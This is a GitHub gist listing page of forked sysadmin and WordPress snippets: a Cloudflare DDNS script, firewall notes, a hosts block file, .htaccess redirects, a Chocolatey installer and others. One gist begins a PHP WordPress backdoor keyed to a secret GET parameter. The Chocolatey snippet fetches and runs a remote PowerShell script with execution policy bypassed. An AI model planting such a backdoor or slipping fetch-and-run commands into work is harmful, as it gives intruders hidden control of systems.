Skip to content

Instantly share code, notes, and snippets.

@bahattab
bahattab / cloudflare-ddns-update.sh
Created December 22, 2023 17:56 — forked from Tras2/cloudflare-ddns-update.sh
A bash script to update a Cloudflare DNS A record with the external IP of the source machine
#!/bin/bash
# A bash script to update a Cloudflare DNS A record with the external IP of the source machine
# Used to provide DDNS service for my home
# Needs the DNS record pre-creating on Cloudflare
# Proxy - uncomment and provide details if using a proxy
#export https_proxy=http://<proxyuser>:<proxypassword>@<proxyip>:<proxyport>
# Cloudflare zone is the zone which holds the record
@bahattab
bahattab / mailserver.md
Created November 15, 2023 09:14 — forked from opentaq/mailserver.md
Mailserver Installation

Fail2Ban

sudo install fail2ban

UFW

sudo install ufw

UFW Settings

sudu ufw default deny incomoing

sudo ufw default allow outgoins

@bahattab
bahattab / Hosts File To Block Shock Sites
Last active June 3, 2022 10:38 — forked from consti/hosts
/etc/hosts to block shock sites etc.
# This hosts file is brought to you by Dan Pollock and can be found at
# http://someonewhocares.org/hosts/
# You are free to copy and distribute this file for non-commercial uses,
# as long the original URL and attribution is included.
#<localhost>
127.0.0.1 localhost
127.0.0.1 localhost.localdomain
255.255.255.255 broadcasthost
::1 localhost
@bahattab
bahattab / .htaccess
Created October 2, 2021 14:21 — forked from vielhuber/.htaccess
Apache: htaccess force www and https ssl #server
# force HTTPS and www.
RewriteEngine On
RewriteCond %{HTTP_HOST} (?!^www\.)^(.+)$ [OR]
RewriteCond %{HTTPS} off
RewriteRule ^ https://www.%1%{REQUEST_URI} [R=301,L]
# alternative way
RewriteCond %{HTTP_HOST} !^$
RewriteCond %{HTTP_HOST} !^www\. [NC]
@bahattab
bahattab / DNS Prefetch domains
Created August 6, 2020 18:39 — forked from lukecav/DNS Prefetch domains
WP Rocket - Advanced Options Prefetch DNS requests
//maps.googleapis.com
//maps.gstatic.com
//fonts.googleapis.com
//fonts.gstatic.com
//ajax.googleapis.com
//apis.google.com
//google-analytics.com
//www.google-analytics.com
//ssl.google-analytics.com
//youtube.com
@bahattab
bahattab / Create a backdoor to a WordPress website - backdoor.php
Last active August 6, 2020 05:50 — forked from jgalea/backdoor.php
Create a backdoor to a WordPress website.
<?php
# Create a backdoor to a WordPress website
# https://gist.github.com/jgalea/5724566
# https://gist.githubusercontent.com/jgalea/5724566/raw/2117df68c0c757c16a09e5274640cf2bb9f62f74/backdoor.php
add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
@bahattab
bahattab / functions.php
Created June 23, 2020 20:41 — forked from lukecav/functions.php
Disable Elementor overview dashboard widget in WordPress
function disable_elementor_dashboard_overview_widget() {
remove_meta_box( 'e-dashboard-overview', 'dashboard', 'normal');
}
add_action('wp_dashboard_setup', 'disable_elementor_dashboard_overview_widget', 40);
@bahattab
bahattab / NonAdmin.cmd
Created December 25, 2019 04:16 — forked from ferventcoder/NonAdmin.cmd
Installing Software as a Non-Administrator Using Chocolatey
:: Pick one of these two files (cmd or ps1)
:: Set directory for installation - Chocolatey does not lock
:: down the directory if not the default
SET INSTALLDIR=c:\ProgramData\chocoportable
setx ChocolateyInstall %INSTALLDIR%
:: All install options - offline, proxy, etc at
:: https://chocolatey.org/install
@powershell -NoProfile -ExecutionPolicy Bypass -Command "(iex ((new-object net.webclient).DownloadString('https://chocolatey.org/install.ps1'))) >$null 2>&1" && SET PATH="%PATH%;%INSTALLDIR%\bin"
@bahattab
bahattab / _readme.md
Last active August 22, 2019 19:12 — forked from sorashi/_readme.md
Add CMD to Context Menu - Windows registry edit that adds Windows command-line, Powershell and optionally GIT Bash to directory context menu

Registry edit that allows you to add Windows command-line, Powershell and/or GIT Bash to explorer context menu. source